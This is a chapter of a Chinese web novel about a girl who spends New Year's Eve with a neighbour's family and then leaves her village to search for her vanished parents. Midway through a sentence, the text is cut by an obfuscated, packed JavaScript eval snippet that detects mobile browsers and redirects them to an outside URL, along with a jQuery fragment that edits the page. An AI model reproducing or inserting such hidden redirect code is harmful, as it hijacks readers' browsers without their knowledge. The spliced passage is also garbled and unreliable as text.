转眼就来到了除夕夜,王婶又一大早就拦住了要去训练的陈既白。
她知道这孩子心里难受,也不知道陈砚林疏月两夫妻究竟去哪里了。一声招呼都不打,就突然消失不见,就留八岁的小既白一个人在家。
整个山竹村,谁不知道这夫妻俩视女如命,那是含在嘴里怕化了,捧在手心怕坏了。这么多年,她还是第一次见如此溺爱孩子的。
明明这么爱孩子,但说消失就消失了,这都过三年了,还不回家来,只剩小既白在家苦苦等待。
在得知夫妻俩不见了她就让陈既白去她家住,可这孩子太犟了,怎么劝都不去,说要自己在家等他们回来。
她亲眼看着这孩子从什么都不会到把整个家打理的井井有条
有时候她看着这孩子总忍不住叹息,这到底是个什么事啊!
“小既白,今儿个是除夕,来帮我一起做年夜饭,好吗?”
看着王婶一脸笑意,陈既白不忍拒绝她的好意,其实她知道,王婶手脚麻利,根本不需要她帮忙。
年年除夕,王婶每次都会一早来到她家,让她一起过除夕,不让她一个人在年夜孤零零的。
陈既白感受到王婶无声的温柔呵护呵护,心里酸酸的。
轻声回道:“好,王婶,等我把东西放好。”
王婶疼惜的摸了摸陈既白的头,点了点头,“去吧,小既白,王婶等你。”
听到这个熟悉的称呼,陈既白有些恍惚,她快速转过身不想让王婶发现她眼里的湿润,“嗯”了一声,跑回房间把刀放好。
看着陈既白这样,王婶险些落泪,这傻孩子。
陈既白和王婶一起回到她家,一到家,王婶的相公杨叔正在处理今天要吃的肉。
看到她们进来,他朝两人一笑,“小既白来了,快进屋玩。他娘快把零食给小既白拿出来。”他朝王婶喊道。
陈既白笑着喊了声杨叔。就听到王婶笑道:“这还用你说。”
杨叔闻言笑了笑也不说什么,说外面冷让她们赶紧进屋。
进了屋,王婶就把瓜子、糖和以前她喜欢的糕点拿出来放在她面前。
“小既白,来,帮王婶消灭它们,省的小树一天饭都不吃,就馋这个。”小树是王婶的儿子,今年七岁,长得很像王婶。
“对,小既白姐姐,你快吃,小树不馋。”在一旁的小树,吸溜了一下口水,眼睛盯着那盘糕点一动不动,嘴里还劝着陈既白赶快吃。
陈既白被他可爱的样子逗笑,拉过他的手坐下,拿了块糕点递给他,“那你陪我一起吃好不好呀?”
小树望了望他娘,娘早上出门前给他说过,今天不许抢小既白姐姐的吃的,要不然以后都不给他做糕点了。
而且他很喜欢小既白姐姐,以前她有什么都会分给他吃,对他可好了。
在这几年里,还教他训练,他现在是整个山竹村除了小既白姐姐外是最厉害的了。
王婶看着眼前这两张可怜巴巴的脸,挨个摸了摸,“那你今天只准吃这一个,剩下的都是姐姐的,你不许抢。”
随即她拿起一块糕点递给陈既白,“快吃吧,小既白。”
陈既白伸手接过,咬了一口,“王婶,好好吃,和以前一样。”笑意和雾气齐齐爬上眼角,这是她吃过最好吃的糕点了。
“喜欢就多吃点,吃完王婶再给你做。”王婶轻轻拍了拍她的肩膀,温声道。
陈既白笑着用力点点头。
晚上,桌子上摆满了鸡鸭鱼肉,每年除夕夜里饭菜必备一大碗色泽鲜艳的红烧肉,一大桌菜热气腾腾。
陈既白怔怔的望着那碗红烧肉,感觉心里又酸又涩,抬头望向王婶,只见她温柔的望着自己。
“快吃吧,尝尝婶儿做的红烧肉怎么样?”王婶夹起一大块红烧肉放在陈既白碗里,催促着她赶快吃。
陈既白夹起碗里的肉咬了一大口,朝王婶竖起了大拇指。
吃饭时王婶一个劲的朝陈既白碗里堆肉,“多吃点,小既白,你看你都瘦了。”
窗外的爆竹声一声接着一声,响彻整个山竹村。
陈既白大口大口的吃着饭,努力融入大家的欢乐。
吃完饭后,小苗姐姐和大碗哥哥也跑来王婶家。
带着陈既白和小树出去放炮仗。
自从爹爹娘亲出远门了,陈既白心里明白,大家都在用自己的方式守护她。
和大家一起放完炮仗,陈既白就告辞众人回家了,她怕万一爹爹娘亲回来了找不到她会着急的。
王婶知道她在想什么,也不阻拦。
只是每次都强制给她打包一大堆吃的,让她守夜时饿了吃,不然就不让她回家。
陈既白默默接受王婶的心意,告别了他们,提着灯笼朝家中走去。
此时的风雪已经停了,月光照在一片白茫茫的大地上,显得十分冷寂凄清。
推开院门,一阵寒气袭来。
这里再也没有过年时的热闹,没有高高悬挂的红灯笼,没有温在灶上的甜米酒,没有爹爹娘亲宠溺的呼喊......
陪伴她的只有被灯笼拉的细长的影子,孤零零的出现在雪地上。
一阵寒风吹过,灯笼里的蜡烛明暗交替。
陈既白望着这空荡荡的院子,第一次她觉得这个院子是如此的大,如此的冷清。
她一动不动的站在雪地上,看着手中的灯笼闪烁。
一个念头,像是破冰而出的利刃,打破她自欺欺人的等待。
三年了,娘亲和爹爹,他们不会在这样回来了。
至少,不会和从前那般,出门猎野猪或者是去镇上买东西那样,在一个寻常的时候,带着笑意呼喊她的名字,然后轻轻推开这扇门。
他们肯定是遇到了什么困难,阻挡了他们回来的脚步,要不然他们不会丢下她半年不管,甚至于除夕夜都没有回来。
这个认知让陈既白浑身一颤,随即又被一股更灼热的东西替代。
她站在冰凉的雪地里,很久很久,久到脸被寒风覆盖,手脚被冻得发麻。
第二天,正月初一,新年的第一天。
陈既白没有去瀑布,她拿上自己以往做的符弩和爆裂符,以及她自己练的丹药来到了王婶家。
自从修炼到第三镜,她已能窥见生灵气血、寿元、潜力的流转纹理。
王婶他们她都看了,寿元都很长。
在这几年,她教了小树一些功法,外加这些东西,遇到什么事足够保全村里人的性命。
现在她可以安心去找娘亲爹爹。
王婶似乎察觉到了什么,眼里是盛满不舍的湿润,连忙给她装了很多她爱吃的。
陈既白收下了王婶的心意,朝她点点头转身离去。
看着陈既白的背影,王婶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055034|194858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忍不住喊了一声,“小既白,一定要照顾好自己,我们等你……”
陈既白没有转身,却狠狠点了点头。
回到自己房间,她将六把刀一一取出,摆在床上。
从最初那把被磨得发亮的刀,到木箱中取出的风格迥异、寒气逼人的刀。
陈既白用手缓缓抚过每一把刀,感受它们不同的重量、弧度和锋芒。
最后,她拿起那张被她摩挲到已经起了毛边的信纸。
看着爹爹写下的“在家乖乖等他们”--她等了,从盛夏等到寒冬,整整等了一千多个日夜。
花开又花谢了,溪水涨潮又落下。
“勿寻”——爹爹肯定知道此行危险,写下这两字时,一定是紧锁眉头,满脸担忧和急迫。
他们不想让她去寻,是怕她孤身一人有危险,怕她稚嫩的肩膀扛不起世间的风霜。
但若是她连“寻”都不敢,那娘亲爹爹的教导,自己日复一日的修炼,手上磨破又长的老茧,无限漫长的等待,与深夜里的惶恐......
这些,又是为了什么?如果所做的这一切只是为了待在这个再无热闹的家,那还有什么意义呢?
不。
陈既白抬起头,眼里最后一丝犹豫被斩断。
取而代之的是,是坚定不移的决心。爹爹娘亲从小教育她持刀要稳,出刀要准,心志要坚。
现在,她要带上自己所学的这一切,去寻!
陈既白开始收拾行囊。她动作不疾不徐,娘亲绣的手帕和爹爹留下的信放进贴身衣物里。
王婶给的吃的、几套换洗的衣服、必备的火折子、水囊......最后,还有她的五把“小伙计”,一起被她收进了空间袋里。
把日常训练的杀猪刀别到腰侧,这些她最忠实的朋友,她所有的依仗。
陈既白最后一次打扫了小院,给娘亲的花浇了水,将爹爹娘亲房间里的物品一件件归置整齐,关紧门窗。
然后,她站在院门口,缓缓看向这个她生活了将就九年的家。
爹爹平日里的专属灶屋、她小时候捣乱的菜园、娘亲常躺的那把竹椅......每一样都被她牢牢记在心中。
深吸一口气,陈既白干净利落的锁上院门,将钥匙放在爹爹娘亲都知道的地方。
她固执的想,万一有一天,他们真的回来了,总要让他们能有打开门的钥匙,能再次回到这个他们心里深爱的家。
转身,离去。
寒冷了许久的天终于微微放晴,积雪在脚下发出咯吱咯吱的轻响。
一开始她的脚步有些慢,一步三回头,看着那间熟悉的青砖瓦房在视线里越来越小,越来越模糊。
当山竹村的最后一片青瓦被层层叠叠的山峦彻底淹没。
眼前只剩下这条覆满积雪、蜿蜒盘旋的山路,不知通向何方天地时,陈既白的脚步反而坚定起来,一步一步,走的又稳又实。
她不知道娘亲爹爹在何方,但她知道,山的外面是广阔无垠的世界。
总有一天,她会在某个地方再次见到他们。
或许是在一条陌生的街道,或许是在一处人拥挤的人群,或是一个吹着晚风的平常夜晚。
身后的足迹,在洁白的雪地上留下一串又一串清晰的、小小的脚印。
但很快,就被天上悬挂的太阳和山谷里回旋的风,一点点抹去痕迹。